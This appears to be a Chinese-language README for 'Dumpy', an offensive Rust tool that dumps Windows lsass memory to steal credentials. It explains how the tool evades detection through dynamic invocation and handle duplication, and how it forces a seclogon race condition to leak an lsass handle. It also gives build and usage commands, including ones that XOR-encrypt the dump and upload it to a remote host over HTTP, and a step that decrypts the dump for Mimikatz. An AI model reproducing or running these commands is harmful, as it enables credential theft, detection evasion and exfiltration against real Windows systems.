该工具动态调用 MiniDumpWriteDump 来转储 lsass 内存内容。此过程无需打开指向 lsass 的新进程句柄,并使用 DInvoke_rs 使其恶意行为更难被检测。为了在不调用 OpenProcess 的情况下获得指向 lsass 的有效进程句柄,系统会通过 NtQuerySystemInformation、NtDuplicateObject、NtQueryObject 和 QueryFullProcessImageNameW 分析系统中的所有进程句柄。
使用 NTFS 事务在将内存转储存储到磁盘或通过 HTTP 发送之前对其进行异或加密。
同时支持 x86 和 x64。
只需以 release 模式编译代码并执行:
C:\Users\User\Desktop\Dumpy\dumpy> cargo build --release
C:\Users\User\Desktop\Dumpy\dumpy\target\x86_64-pc-windows-msvc\release> dumpy.exe -h
如果你想将工具编译为 x86 系统,请在文件 .cargo\config 中修改 "target" 选项的值(例如:target = "i686-pc-windows-msvc")。
Usage: dumpy.exe --dump|--decrypt [options]
Options:
-h, --help Print this help menu.
--dump Dump lsass.
--decrypt Decrypt a previously generated dump file.
-f, --force Force seclogon's service to leak a lsass handle
through a race condition.
-k, --key Encryption key [default: 1234abcd]
-i, --input Encrypted dump file [default: c:\temp\input.txt]
-o, --output Destination path [default: c:\temp\output.txt]
-u, --upload Upload URL
Dumpy 有两个主要操作:
dump:它将执行转储 lsass 的主要逻辑。默认情况下,它会将结果以异或加密文本文件的形式存储在当前目录中,文件名随机。upload 选项允许通过 HTTP 将内存内容发送到远程主机,从而避免在磁盘上创建异或文件。我使用这个简单的 HTTP 服务器来处理上传,但任何支持 multipart/form-data 请求 的 HTTP 服务器都可以正常工作。
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload
如果你想通过 Antonio Cocomazzi 在这篇文章中描述的 seclogon 服务中的竞争条件来强制泄漏 lsass 句柄,只需使用 force 选项:
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force
decrypt:此操作允许以 Mimikatz 等工具所期望的相同格式获取解密后的内存转储。其参数为异或加密后的内存转储、加密密钥和输出文件路径。如果异或文件是通过 HTTP 上传的,则需要先对内容进行 base64 解码,然后再进行此解密过程。
C:\Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey